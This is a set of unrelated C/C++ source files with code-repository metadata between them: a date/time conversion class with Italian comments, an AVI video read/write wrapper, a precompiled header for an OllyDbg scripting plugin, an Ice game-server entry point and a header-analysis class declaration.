memset(buf,'\0',sizeof(buf)); memcpy(buf,ptime+4,2); m_Time.sec = atoi(buf); break; } case BRITISH: break; case FRENCH: break; case GERMAN: break; case ITALIAN: break; case JAPAN: break; case USA: break; case MDY: break; case DMY: break; case YMD: break; case GMT_SHORT: case GMT: case GMT_TZ: { int i; char* p = (char*)pdate; // salta fino al giorno (numerico) while(*p && !isdigit(*p)) p++; // ricava il giorno if(*p && isdigit(*p)) { memset(buf,'\0',sizeof(buf)); for(i = 0; i < sizeof(buf) && *p && isdigit(*p); i++) buf[i] = *p++; m_Date.day = atoi(buf); } // salta fino al mese (stringa) while(isspace(*p) || *p=='-') p++; // ricava il mese if(*p) { memset(buf,'\0',sizeof(buf)); for(i = 0; i < sizeof(buf) && *p && isalpha(*p) && *p!=' ' && *p!='-'; i++) buf[i] = *p++; for(i = 0; i < ARRAY_SIZE(month_array); i++) if(stricmp(buf,month_array[i])==0) break; if(i < ARRAY_SIZE(month_array)) m_Date.month = ++i; } // salta fino all'anno (numerico) while(*p && isspace(*p) || *p=='-') p++; // ricava l'anno if(*p) { memset(buf,'\0',sizeof(buf)); for(i = 0; i < sizeof(buf) && *p && isdigit(*p); i++) buf[i] = *p++; m_Date.year = atoi(buf); if(strlen(buf) <= 2) m_Date.year += 2000; } // salta fino all'ora (numerico) while(*p && isspace(*p)) p++; // ricava l'ora if(*p) { if(strlen(p) >= 8) { memset(m_Time.hourstr,'\0',sizeof(m_Time.hourstr)); memset(m_Time.minstr,'\0',sizeof(m_Time.minstr)); memset(m_Time.secstr,'\0',sizeof(m_Time.secstr)); m_Time.hourstr[0] = *p++; m_Time.hourstr[1] = *p++; p++; m_Time.minstr[0] = *p++; m_Time.minstr[1] = *p++; p++; m_Time.secstr[0] = *p++; m_Time.secstr[1] = *p++; m_Time.hour = atoi(m_Time.hourstr); m_Time.min = atoi(m_Time.minstr); m_Time.sec = atoi(m_Time.secstr); } } // aggiunge/sottrae la differenza oraria per ottenere il valore assoluto (GMT) if(fmtsrc==GMT_SHORT) ModifyDateTime(HOUR,(int)((GetTimeZoneDiff()/60)/60)); break; } } switch(fmtdst) { case AMERICAN: break; case ANSI: break; case ANSI_SHORT: _snprintf(m_Date.datestr,sizeof(m_Date.datestr)-1,"%04d%02d%02d",m_Date.year,m_Date.month,m_Date.day); break; case BRITISH: break; case FRENCH: break; case GERMAN: break; case ITALIAN: break; case JAPAN: break; case USA: break; case MDY: break; case DMY: break; case YMD: break; case GMT_SHORT: break; case GMT: { DATEFORMAT df = m_Date.format; m_Date.format = GMT; GetFormattedDate(FALSE); m_Date.format = df; break; } case GMT_TZ: break; } return(m_Date.datestr); } /* ConvertTime() Converte la data/ora specificate dal formato nel formato. Incompleta. */ const char* CDateTime::ConvertTime(TIMEFORMAT fmtsrc,TIMEFORMAT fmtdst,const char* pdate,const char* /*ptime*/) { char buf[MAX_TIME_STRING+1] = {0}; memset(&(m_Time.timestr),'\0',sizeof(m_Time.timestr)); switch(fmtsrc) { case HHMMSS: break; case HHMMSS_AMPM: break; case HHMMSS_SHORT: break; case HHMMSS_GMT_SHORT: case HHMMSS_GMT: case HHMMSS_GMT_TZ: { char* p = (char*)pdate; // salta fino alla ora (cerca il ':') while(*p && *p!=':') p++; // retrocede if(*p && *p==':') { p -= 2; memcpy(buf,p,2); m_Time.hour = atoi(buf); memcpy(buf,p+3,2); m_Time.min = atoi(buf); memcpy(buf,p+6,2); m_Time.sec = atoi(buf); } break; } } switch(fmtdst) { case HHMMSS_AMPM: break; case HHMMSS: case HHMMSS_SHORT: _snprintf(m_Time.timestr, sizeof(m_Time.timestr)-1, "%02d%02d%02d", m_Time.hour, m_Time.min, m_Time.sec); break; case HHMMSS_GMT_SHORT: case HHMMSS_GMT: case HHMMSS_GMT_TZ: break; } return(m_Time.timestr); } /* LoadFromString() Carica la data/ora dalla stringa. Incompleta. */ void CDateTime::LoadFromString(const char* pdate,DATEFORMAT datefmt,TIMEFORMAT timefmt) { char buf[MAX_DATE_STRING+1] = {0}; Reset(); m_Date.format = datefmt; m_Time.format = timefmt; switch(datefmt) { case ANSI_SHORT: { memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate,4); m_Date.year = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+4,2); m_Date.month = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+6,2); m_Date.day = atoi(buf); break; } case ANSI: case JAPAN: case YMD: { memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate,4); m_Date.year = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+5,2); m_Date.month = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+8,2); m_Date.day = atoi(buf); break; } case BRITISH: case FRENCH: case GERMAN: case ITALIAN: case DMY: { memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate,2); m_Date.day = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+3,2); m_Date.month = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+6,4); m_Date.year = atoi(buf); break; } case AMERICAN: case USA: case MDY: { memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate,2); m_Date.month = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+3,2); m_Date.day = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+6,4); m_Date.year = atoi(buf); break; } case GMT_SHORT: case GMT: case GMT_TZ: { int i; char* p = (char*)pdate; // salta fino al giorno (numerico) while(*p && !isdigit(*p)) p++; // ricava il giorno memset(buf,'\0',sizeof(buf)); if(isdigit(*p)) for(i = 0; i < sizeof(buf) && isdigit(*p); i++) buf[i] = *p++; m_Date.day = atoi(buf); // salta fino al mese (stringa) while(isspace(*p)) p++; // ricava il mese memset(buf,'\0',sizeof(buf)); for(i = 0; i < sizeof(buf) && isalpha(*p); i++) buf[i] = *p++; for(i = 0; i < ARRAY_SIZE(month_array); i++) if(stricmp(buf,month_array[i])==0) break; if(i < ARRAY_SIZE(month_array)) m_Date.month = ++i; // salta fino all'anno (numerico) while(isspace(*p)) p++; // ricava l'anno memset(buf,'\0',sizeof(buf)); for(i = 0; i < sizeof(buf) && isdigit(*p); i++) buf[i] = *p++; m_Date.year = atoi(buf); // salta fino alla ora (numerico) while(isspace(*p)) p++; if(*p && isdigit(*p)) { memset(buf,'\0',sizeof(buf)); memcpy(buf,p,2); m_Time.hour = atoi(buf); memcpy(buf,p+3,2); m_Time.min = atoi(buf); memcpy(buf,p+6,2); m_Time.sec = atoi(buf); } break; } } } /* DaysInMonth() Calcola il numero di giorni del mese (con il mese a base 1). */ int CDateTime::DaysInMonth(int month,int year) { int days = 0; if(month >= 1 && month <= 12) { if(month==2) days = IsLeapYear(year) ? 29 : 28; else days = dayinmonth_array[month-1]; } return(days); } /* ModifyDateTime() Modifica la data/ora secondo la quantita' specificata. */ void CDateTime::ModifyDateTime(DATETIMEOBJECT type,int qta) { if(qta==0) return; int diff = 0; if(m_Date.year < 0) m_Date.year = 1965; if(m_Date.month < 1 || m_Date.month > 12) m_Date.month = 8; if(m_Date.day < 1 || m_Date.day > 31) m_Date.day = 26; if(m_Time.hour < 0 || m_Time.hour > 24) m_Time.hour = 5; if(m_Time.min < 0 || m_Time.min > 60) m_Time.min = 30; if(m_Time.sec < 0 || m_Time.sec > 60) m_Time.sec = 0; switch(type) { case SECOND: diff = m_Time.sec - (qta > 0 ? qta : (qta*-1)); diff = diff < 0 ? (diff*-1) : diff; m_Time.sec += qta; goto calc_secs; case MINUTE: diff = m_Time.min - (qta > 0 ? qta : (qta*-1)); diff = diff < 0 ? (diff*-1) : diff; m_Time.min += qta; goto calc_min; case HOUR: diff = m_Time.hour - (qta > 0 ? qta : (qta*-1)); diff = diff < 0 ? (diff*-1) : diff; m_Time.hour += qta; goto calc_hour; case DAY: diff = m_Date.day - (qta > 0 ? qta : (qta*-1)); diff = diff < 0 ? (diff*-1) : diff; m_Date.day += qta; goto calc_day; case MONTH: diff = m_Date.month - (qta > 0 ? qta : (qta*-1)); diff = diff < 0 ? (diff*-1) : diff; m_Date.month += qta; goto calc_mon; case YEAR: diff = m_Date.year - (qta > 0 ? qta : (qta*-1)); diff = diff < 0 ? (diff*-1) : diff; m_Date.year += qta; goto done; default: goto done; } calc_secs: if(m_Time.sec > 60) { m_Time.sec = m_Time.sec - 60; m_Time.min++; } else if(m_Time.sec < 1) { m_Time.sec = 60 - diff; m_Time.min--; } diff=0; calc_min: if(m_Time.min > 60) { m_Time.min = m_Time.min - 60; m_Time.hour++; } else if(m_Time.min < 1) { m_Time.min = 60 - diff; m_Time.hour--; } diff=0; calc_hour: if(m_Time.hour > 24) { m_Time.hour = m_Time.hour - 24; m_Date.day++; } else if(m_Time.hour < 1) { m_Time.hour = 24 - diff; m_Date.day--; } diff=0; calc_day: if(m_Date.day > 31) { m_Date.day = m_Date.day - 31; m_Date.month++; } else if(m_Date.day < 1) { m_Date.day = 31 - diff; m_Date.month--; } diff=0; calc_mon: if(m_Date.month > 12) { m_Date.month = m_Date.month - 12; m_Date.year++; } else if(m_Date.month < 1) { m_Date.month = 12 - diff; m_Date.year--; } diff=0; done: return; } /* GetDSTZone() Nonzero if daylight-saving-time zone (DST) is specified in TZ; otherwise 0, default value is 1. Non considera ne modifica la struttura interna. */ int CDateTime::GetDSTZone(void) { _tzset(); return(_daylight); } /* GetTimeZoneDiff() Difference, in seconds, between coordinated universal time and local time (default value 28,800=8h). Notare che il valore restituito, se negativo, e' la quantita' da *sottrarre* all'ora locale per arrivare a GMT, mentre se positivo e' il valore da *sommare* all'ora locale per arrivare a GMT: 17:00 (GMT): GMT +1 -> 18:00 -1 GMT -> 17:00 0 GMT -1 -> 16:00 +1 dato che il valore restituito e' in secondi (-3600, 0, +3600 nel caso dell'esempio) per ottenere il numero di ore (-1, 0, +1) bisogna dividere 2 volte per 60 (i secondi in minuti ed i minuti in ore). Non considera ne modifica la struttura interna. */ long CDateTime::GetTimeZoneDiff(void) { _tzset(); return(_timezone); } /* GetTimeZoneName() Three-letter time-zone name derived from TZ environment variable. Non considera ne modifica la struttura interna. */ const char* CDateTime::GetTimeZoneName(void) { _tzset(); return(_tzname[0]); } /* GetDSTZoneName() Three-letter DST zone name derived from TZ environment variable, default value is PDT (Pacific daylight time), if DST zone is omitted from TZ, _tzname[1] is empty string. Non considera ne modifica la struttura interna. */ const char* CDateTime::GetDSTZoneName(void) { _tzset(); return(_tzname[1]); } /* GetSystemDate() Ricava la data di sistema, imposta la struttura interna su tale valore e restituisce il puntatore alla data nel formato mm/dd/yy. */ const char* CDateTime::GetSystemDate(void) { return(GetOsDate()); } /* GetSystemDate() Come sopra, oltre ad impostare i parametri ricevuti. */ void CDateTime::GetSystemDate(int& day,int& month,int& year) { GetOsDate(); day = m_Date.day; month = m_Date.month; year = m_Date.year; } /* GetSystemTime() Ricava l'ora di sistema, imposta la struttura interna su tale valore e restituisce il puntatore all'ora nel formato hh:mm:ss. */ const char* CDateTime::GetSystemTime(void) { return(GetOsTime()); } /* GetSystemTime() Come sopra, oltre ad impostare i parametri ricevuti. */ void CDateTime::GetSystemTime(int& hour,int& min,int& sec) { GetOsTime(); hour = m_Time.hour; min = m_Time.min; sec = m_Time.sec; } /* GetOsDate() Ricava la data di sistema impostando la struttura interna. */ const char* CDateTime::GetOsDate(void) { time_t time_value; ::time(&time_value); struct tm* local_time; local_time = localtime(&time_value); char year[MAX_DATETIME_BUF + 1]; memset(m_Date.daystr,'\0',MAX_DATETIME_BUF + 1); m_Date.day = local_time->tm_mday; _snprintf(m_Date.daystr,sizeof(m_Date.daystr)-1,"%.2d",m_Date.day); memset(m_Date.monthstr,'\0',MAX_DATETIME_BUF + 1); m_Date.month = local_time->tm_mon + 1; _snprintf(m_Date.monthstr,sizeof(m_Date.monthstr)-1,"%.2d",m_Date.month); m_Date.year = local_time->tm_year + 1900; memset(year,'\0',MAX_DATETIME_BUF + 1); _snprintf(year,sizeof(year)-1,"%.2d",m_Date.year); memset(m_Date.dayofweekstr,'\0',MAX_DATETIME_BUF + 1); m_Date.dayofweek = local_time->tm_wday; _snprintf(m_Date.dayofweekstr,sizeof(m_Date.dayofweekstr)-1,"%s",day_array[m_Date.dayofweek]); memset(m_Date.yearstr,'\0',MAX_DATETIME_BUF + 1); memcpy(m_Date.yearstr,year+2,2); _snprintf(m_Date.datestr,sizeof(m_Date.datestr)-1,"%.2d/%.2d/%s",m_Date.day,m_Date.month,m_Date.yearstr); // mm/dd/yy return(m_Date.datestr); } /* GetOsTime() Ricava l'ora di sistema impostando la struttura interna. */ const char* CDateTime::GetOsTime(void) { _strtime(m_Time.timestr); // hh:mm:ss memset(m_Time.hourstr,'\0',MAX_DATETIME_BUF + 1); memcpy(m_Time.hourstr,m_Time.timestr,2); m_Time.hour = atoi(m_Time.hourstr); memset(m_Time.minstr,'\0',MAX_DATETIME_BUF + 1); memcpy(m_Time.minstr,(m_Time.timestr)+3,2); m_Time.min = atoi(m_Time.minstr); memset(m_Time.secstr,'\0',MAX_DATETIME_BUF + 1); memcpy(m_Time.secstr,(m_Time.timestr)+6,2); m_Time.sec = atoi(m_Time.secstr); return(m_Time.timestr); } /* IsLeapYear() Verifica se l'anno e' bisestile. Non considera ne modifica la struttura interna. */ BOOL CDateTime::IsLeapYear(int year) { if(year % 4) return FALSE; // if not divisible by 4, not leap if(year < 1582) return TRUE; // before this year, all were leap if(year % 100) return TRUE; // by 4, but not by 100 is leap if(year % 400) return FALSE; // not by 100 and not by 400 not leap return TRUE; }
[ [ [ 1, 1513 ] ] ]
6c5f750fd1a266648e10679df5686d2922b9155f
c1c3866586c56ec921cd8c9a690e88ac471adfc8
/WOW/WoWModelViewer_/src/AVIGenerator.cpp
883cd07b52bdcd7ea5117cd4ef6e32bd832b84cd
[]
no_license
rtmpnewbie/lai3d
0802dbb5ebe67be2b28d9e8a4d1cc83b4f36b14f
b44c9edfb81fde2b40e180a651793fec7d0e617d
refs/heads/master
2021-01-10T04:29:07.463289
2011-03-22T17:51:24
2011-03-22T17:51:24
36,842,700
1
0
null
null
null
null
UTF-8
C++
false
false
11,743
cpp
// AVIGenerator.cpp: implementation of the CAVIGenerator class. // ////////////////////////////////////////////////////////////////////// #include "AVIGenerator.h" // Temp openGL headers for testing to confirm that it works #include "OpenGLHeaders.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CAVIGenerator::CAVIGenerator() { m_pAVIFile = NULL; m_pStream = NULL; m_pStreamCompressed = NULL; m_pGetFrame = NULL; memset(&m_bih, 0, sizeof(BITMAPINFOHEADER) ); // Default file name. m_sFile = "untitled.avi"; // Default frame rate, only matters if writing to AVI m_dwRate = 30; } //------------------------------------------------------------------------- CAVIGenerator::~CAVIGenerator() { // Just checking that all allocated ressources have been released assert(m_pStream == NULL); assert(m_pStreamCompressed == NULL); assert(m_pAVIFile == NULL); } //------------------------------------------------------------------------- void CAVIGenerator::SetBitmapHeader(BITMAPINFOHEADER lpbih) { // checking that bitmap size are multiple of 4 assert(lpbih.biWidth % 4 == 0); assert(lpbih.biHeight % 4 == 0); // copying bitmap info structure. // corrected thanks to Lori Gardi memcpy(&m_bih, &lpbih, sizeof(BITMAPINFOHEADER) ); } //------------------------------------------------------------------------- HRESULT CAVIGenerator::InitEngineForWrite(HWND parent) { AVISTREAMINFO strHdr; // information for a single stream AVICOMPRESSOPTIONS opts; AVICOMPRESSOPTIONS FAR *aopts[1] = { &opts }; HRESULT hr; wxLogMessage(_T("Info: Initating AVI class object for writing.") ); // Step 0 : Let's make sure we are running on 1.1 DWORD wVer = HIWORD(VideoForWindowsVersion() ); if(wVer < 0x010a) { // oops, we are too old, blow out of here wxLogMessage(_T( "Avi Error: Version of Video for Windows is too old. Come on, join the 21th century!") ); return S_FALSE; } // Step 1 : initialize AVI engine AVIFileInit(); // Step 2 : Open the movie file for writing.... hr = AVIFileOpen(&m_pAVIFile, // Address to contain the new file interface pointer (LPCSTR)m_sFile, // Null-terminated string containing the name of the file to open OF_WRITE | OF_CREATE, // Access mode to use when opening the file. NULL); // use handler determined from file extension. // Name your file .avi -> very important if(hr != AVIERR_OK) { wxLogMessage(_T( "Avi Error: AVI Engine failed to initialize. Check filename %s."), m_sFile); // Check it succeded. switch(hr) { case AVIERR_BADFORMAT: wxLogMessage(_T( "Avi Error: The file couldn't be read, indicating a corrupt file or an unrecognized format.") ); break; case AVIERR_MEMORY: wxLogMessage(_T( "Avi Error: The file could not be opened because of insufficient memory.") ); break; case AVIERR_FILEREAD: wxLogMessage(_T( "Avi Error: A disk error occurred while reading the file.")) ; break; case AVIERR_FILEOPEN: wxLogMessage(_T( "Avi Error: A disk error occurred while opening the file.")) ; break; case REGDB_E_CLASSNOTREG: wxLogMessage(_T( "Avi Error: According to the registry, the type of file specified in AVIFileOpen does not have a handler to process it") ); break; } return hr; } // Fill in the header for the video stream.... memset(&strHdr, 0, sizeof(strHdr) ); strHdr.fccType = streamtypeVIDEO; // video stream type strHdr.fccHandler = 0; strHdr.dwScale = 1; // should be one for video strHdr.dwRate = m_dwRate; // fps strHdr.dwSuggestedBufferSize = m_bih.biSizeImage; // Recommended buffer size, in bytes, for the stream. SetRect(&strHdr.rcFrame, 0, 0, // rectangle for stream (int)m_bih.biWidth, (int)m_bih.biHeight); // Step 3 : Create the stream; hr = AVIFileCreateStream(m_pAVIFile, // file pointer &m_pStream, // returned stream pointer &strHdr); // stream header // Check it succeded. if(hr != AVIERR_OK) { wxLogMessage(_T("Avi Error: Stream creation failed. Check Bitmap info.") ); if(hr == AVIERR_READONLY) { wxLogMessage(_T("Avi Error: Read only file.") ); } return hr; } // Step 4: Get codec and infos about codec memset(&opts, 0, sizeof(opts) ); // Poping codec dialog if(!AVISaveOptions(parent, ICMF_CHOOSE_KEYFRAME | ICMF_CHOOSE_DATARATE, 1, &m_pStream, (LPAVICOMPRESSOPTIONS FAR*) &aopts) ) { AVISaveOptionsFree(1, (LPAVICOMPRESSOPTIONS FAR*) &aopts); return S_FALSE; } // Step 5: Create a compressed stream using codec options. hr = AVIMakeCompressedStream(&m_pStreamCompressed, m_pStream, &opts, NULL); if(hr != AVIERR_OK) { wxLogMessage(_T("Error: AVI Compressed Stream creation failed.") ); switch(hr) { case AVIERR_NOCOMPRESSOR: wxLogMessage(_T( "Avi Error: A suitable compressor cannot be found.") ); break; case AVIERR_MEMORY: wxLogMessage(_T( "Avi Error: There is not enough memory to complete the operation.") ); break; case AVIERR_UNSUPPORTED: wxLogMessage(_T( "Avi Error: Compression is not supported for this type of data. This error might be returned if you try to compress data that is not audio or video.") ); break; } return hr; } // releasing memory allocated by AVISaveOptionFree hr = AVISaveOptionsFree(1, (LPAVICOMPRESSOPTIONS FAR*) &aopts); if(hr != AVIERR_OK) { wxLogMessage(_T("Avi Error: Problem releasing memory") ); return hr; } // Step 6 : sets the format of a stream at the specified position hr = AVIStreamSetFormat(m_pStreamCompressed, 0, // position &m_bih, // stream format sizeof(m_bih) ); // format size if(hr != AVIERR_OK) { wxLogMessage(_T("Avi Error: Compressed Stream format setting failed.") ) ; return hr; } // Step 6 : Initialize step counter m_iLastFrame = 0; return hr; } //------------------------------------------------------------------------- void CAVIGenerator::InitEngineForRead() { wxLogMessage(_T("Info: Initating AVI class object for reading.") ); // make sure we are running on 1.1 or newer DWORD wVer = HIWORD(VideoForWindowsVersion() ); if(wVer < 0x010a) { wxLogMessage(_T( "AVI Error: Version of Video for Windows is too old. Come on, join the 21th century!") ); return ; } // Opens The AVIFile Library AVIFileInit(); // Opens The AVI Stream if(AVIStreamOpenFromFile(&m_pStream, m_sFile, streamtypeVIDEO, 0, OF_READ, NULL) != 0) { // An Error Occurred Opening The Stream wxLogMessage(_T("AVI Error: Failed To Open The AVI Stream.") ); ReleaseEngine(); return ; } AVIStreamInfo(m_pStream, &m_pStreamInfo, sizeof(AVISTREAMINFO) ); // Reads Information About The Stream Into psi m_iWidth = m_pStreamInfo.rcFrame.right - m_pStreamInfo.rcFrame.left; // Width Is Right Side Of Frame Minus Left m_iHeight = m_pStreamInfo.rcFrame.bottom - m_pStreamInfo.rcFrame.top; // Height Is Bottom Of Frame Minus Top m_iFirstFrame = AVIStreamStart(m_pStream); m_iCurFrame = m_iFirstFrame; m_iLastFrame = AVIStreamLength(m_pStream); // The Last Frame Of The Stream m_iMSPerFrame = AVIStreamSampleToTime(m_pStream, m_iLastFrame) / m_iLastFrame; // Calculate Rough Milliseconds Per Frame /* m_bih.biSize = sizeof (BITMAPINFOHEADER); // Size Of The BitmapInfoHeader m_bih.biPlanes = 1; // Bitplanes m_bih.biBitCount = 24; // Bits Format We Want (24 Bit, 3 Bytes) m_bih.biWidth = 256; // Width We Want (256 Pixels) m_bih.biHeight = 256; // Height We Want (256 Pixels) m_bih.biCompression = BI_RGB; // Requested Mode = RGB */ //m_hBitmap = CreateDIBSection(hdc, (BITMAPINFO*)(&m_bih), DIB_RGB_COLORS, (void**)(&data), NULL, NULL); //SelectObject(hdc, hBitmap); // Select hBitmap Into Our Device Context (hdc) m_pGetFrame = AVIStreamGetFrameOpen(m_pStream, NULL); // Create The PGETFRAME Using Our Request Mode if(m_pGetFrame == NULL) { // An Error Occurred Opening The Frame wxLogMessage(_T("AVI Error: Failed To Open The AVI Frame.") ); ReleaseEngine(); } } // Properly Closes The Avi File void CAVIGenerator::ReleaseEngine() { if(m_pGetFrame) { AVIStreamGetFrameClose(m_pGetFrame); // Deallocates The GetFrame Resources m_pGetFrame = NULL; } if(m_pStream) { AVIStreamRelease(m_pStream); m_pStream = NULL; } if(m_pStreamCompressed) { AVIStreamRelease(m_pStreamCompressed); m_pStreamCompressed = NULL; } if(m_pAVIFile) { AVIFileRelease(m_pAVIFile); m_pAVIFile = NULL; } // Close engine AVIFileExit(); } //------------------------------------------------------------------------- HRESULT CAVIGenerator::AddFrame(BYTE *bmBits) { HRESULT hr; // compress bitmap hr = AVIStreamWrite(m_pStreamCompressed, // stream pointer m_iLastFrame, // time of this frame 1, // number to write bmBits, // image buffer m_bih.biSizeImage, // size of this frame AVIIF_KEYFRAME, // flags.... NULL, NULL); // updating frame counter m_iLastFrame++; return hr; } // Grabs the next frame from the stream void CAVIGenerator::GetFrame() { BYTE *pDIB = (BYTE*)AVIStreamGetFrame(m_pGetFrame, m_iCurFrame); //ASSERT(pDIB!=NULL); if(!pDIB) { return ; } //Creates a full-color (no palette) DIB from a pointer to a full-color memory DIB //get the BitmapInfoHeader BITMAPINFOHEADER bih; RtlMoveMemory(&bih.biSize, pDIB, sizeof(BITMAPINFOHEADER) ); //now get the bitmap bits if(bih.biSizeImage < 1) { return ; } BYTE *pData = new BYTE[bih.biSizeImage]; RtlMoveMemory(pData, pDIB + sizeof(BITMAPINFOHEADER), bih.biSizeImage); //flipIt(data); // Swap The Red And Blue Bytes (GL Compatability) // Update The Texture //glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, bih.biWidth, bih.biHeight, GL_RGB8, GL_UNSIGNED_BYTE, pData); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA8, bih.biWidth, bih.biHeight, 0, GL_BGR, GL_UNSIGNED_BYTE, pData); delete [] pData; m_iCurFrame++; if(m_iCurFrame >= m_iLastFrame) { m_iCurFrame = m_iFirstFrame; } }
[ "laiyanlin@27d9c402-1b7e-11de-9433-ad2e3fad96c5" ]
[ [ [ 1, 370 ] ] ]
15a205616989033c504d720b475995644241e864
94802930154c5e781ca6cfc06a132dd7be0f2613
/StdAfx.h
bb8a6386e2fb288bc9cc1cef81ab989f4213695b
[]
no_license
ThunderCls/ODBGScript
112f3a6178f2aff33710149908ebfa778bac5ec3
09cf0882b7b61e66a4de64ac2fa5380fc18b9b67
refs/heads/master
2021-01-20T12:57:07.707094
2011-05-02T12:41:26
2011-05-02T12:41:26
90,432,834
1
0
null
null
null
null
UTF-8
C++
false
false
1,057
h
// stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #pragma once //remove debug build warnings (debug names too long) #ifdef _DEBUG #pragma warning (disable : 4786) #endif //remove SEH missing warning #pragma warning (disable : 4530) // Insert your headers here #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers #include <iostream> using namespace std; #include <fstream> #include <sstream> #include <string> #include <map> #include <vector> #include <utility> #include <algorithm> #include <set> #include <afx.h> //#include <windows.h> #include <Commdlg.h> //#include <Winuser.h> #include <shlwapi.h> #include <shellapi.h> #include "var.h" #include "plugin.h" #include "HelperFunctions.h" #include "IniReader.h" #include "OllyLang.h" #include "ODbgScript.h" #include "Search.h" #ifdef _DEBUG #include "guicon.h" #endif #include "resource.h"
[ "e-3@8bd04bc4-0f30-0410-8944-d40739272752" ]
[ [ [ 1, 56 ] ] ]
b9b791bd5ef67d02030619aa5acd2306b0d87b49
b22c254d7670522ec2caa61c998f8741b1da9388
/Server/LBA_Server/main.cpp
b25cc936259d9f2690fe40c9705cd1cea83a8faf
[]
no_license
ldaehler/lbanet
341ddc4b62ef2df0a167caff46c2075fdfc85f5c
ecb54fc6fd691f1be3bae03681e355a225f92418
refs/heads/master
2021-01-23T13:17:19.963262
2011-03-22T21:49:52
2011-03-22T21:49:52
39,529,945
0
1
null
null
null
null
UTF-8
C++
false
false
1,887
cpp
/* ------------------------[ Lbanet Source ]------------------------- Copyright (C) 2009 Author: Vivien Delage [Rincevent_123] Email : [email protected] -------------------------------[ GNU License ]------------------------------- This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ----------------------------------------------------------------------------- */ #include <Ice/Application.h> #include "ClientSessionManagerServant.h" #include "DatabaseHandler.h" class LbaServer : public Ice::Application { public: virtual int run(int argc, char* argv[]) { Ice::PropertiesPtr prop = communicator()->getProperties(); DatabaseHandler dbh(prop->getProperty("dbname"), prop->getProperty("dbserver"), prop->getProperty("dbuser"), prop->getProperty("dbpassword")); _adapter = communicator()->createObjectAdapter(prop->getProperty("IdentityAdapter")); _adapter->add(new ClientSessionManagerServant(communicator(), dbh), communicator()->stringToIdentity(prop->getProperty("SessionMServantName"))); _adapter->activate(); communicator()->waitForShutdown(); return EXIT_SUCCESS; } private: Ice::ObjectAdapterPtr _adapter; }; int main(int argc, char** argv) { LbaServer app; return app.main(argc, argv/*, "config"*/); }
[ "vdelage@3806491c-8dad-11de-9a8c-6d5b7d1e4d13" ]
[ [ [ 1, 62 ] ] ]
ad51333b64ff624cc93c4cbe76441e5ae40e1435
478570cde911b8e8e39046de62d3b5966b850384
/apicompatanamdw/compatanalysercmd/headeranalyser/src/TypedefNodeAnalysis.h
96db2a608d5e15d1c1b29731150a1548a2897ff7
[]
no_license
SymbianSource/oss.FCL.sftools.ana.compatanamdw
a6a8abf9ef7ad71021d43b7f2b2076b504d4445e
1169475bbf82ebb763de36686d144336fcf9d93b
refs/heads/master
2020-12-24T12:29:44.646072
2010-11-11T14:03:20
2010-11-11T14:03:20
72,994,432
0
0
null
null
null
null
UTF-8
C++
false
false
1,667
h
/* * Copyright (c) 2006-2009 Nokia Corporation and/or its subsidiary(-ies). * All rights reserved. * This component and the accompanying materials are made available * under the terms of "Eclipse Public License v1.0" * which accompanies this distribution, and is available * at the URL "http://www.eclipse.org/legal/epl-v10.html". * * Initial Contributors: * Nokia Corporation - initial contribution. * * Contributors: * * Description: * */ #ifndef TYPEDEFNODEANALYSIS_H_ #define TYPEDEFNODEANALYSIS_H_ #ifdef __WIN__ #pragma warning(disable:4786) #endif #include <xercesc/dom/DOM.hpp> #include "HANodeIterator.h" #include "NodeAnalysis.h" using namespace std; XERCES_CPP_NAMESPACE_USE /** * The changes in typedefs are analyzed. Any change in an accessible typedef * is considered to be a binary break. */ class TypedefNodeAnalysis: public NodeAnalysis { public: /** * Constructor * @return pointer NodeAnalysis object */ static NodeAnalysis* Construct(); public: /** * Finds node to analyse it * @param baseline baseline node * @param current current node * @return 0, if there was no issues */ int FindNodeAndAnalyse(HANodeIterator baseline,HANodeIterator current); /** * Analyse typedefinitions * @param baseline baseline node * @param current current node * @param report report or not (default= true) * @return 0, if there was no issues */ int Analyse(HANodeIterator baseline,HANodeIterator current, bool report = true); /** * Destructor */ ~TypedefNodeAnalysis(){} }; #endif
[ "none@none" ]
[ [ [ 1, 72 ] ] ]
9e5ed963003e2918569cb0c6b50662e38a0e6cb2
96e96a73920734376fd5c90eb8979509a2da25c0
/C3DE/D3DMesh.cpp
0303a7a494cd557faa0fd8c2b6706743f7280da5
[]
no_license
lianlab/c3de
9be416cfbf44f106e2393f60a32c1bcd22aa852d
a2a6625549552806562901a9fdc083c2cacc19de
refs/heads/master
2020-04-29T18:07:16.973449
2009-11-15T10:49:36
2009-11-15T10:49:36
32,124,547
0
0
null
null
null
null
UTF-8
C++
false
false
29,286
cpp
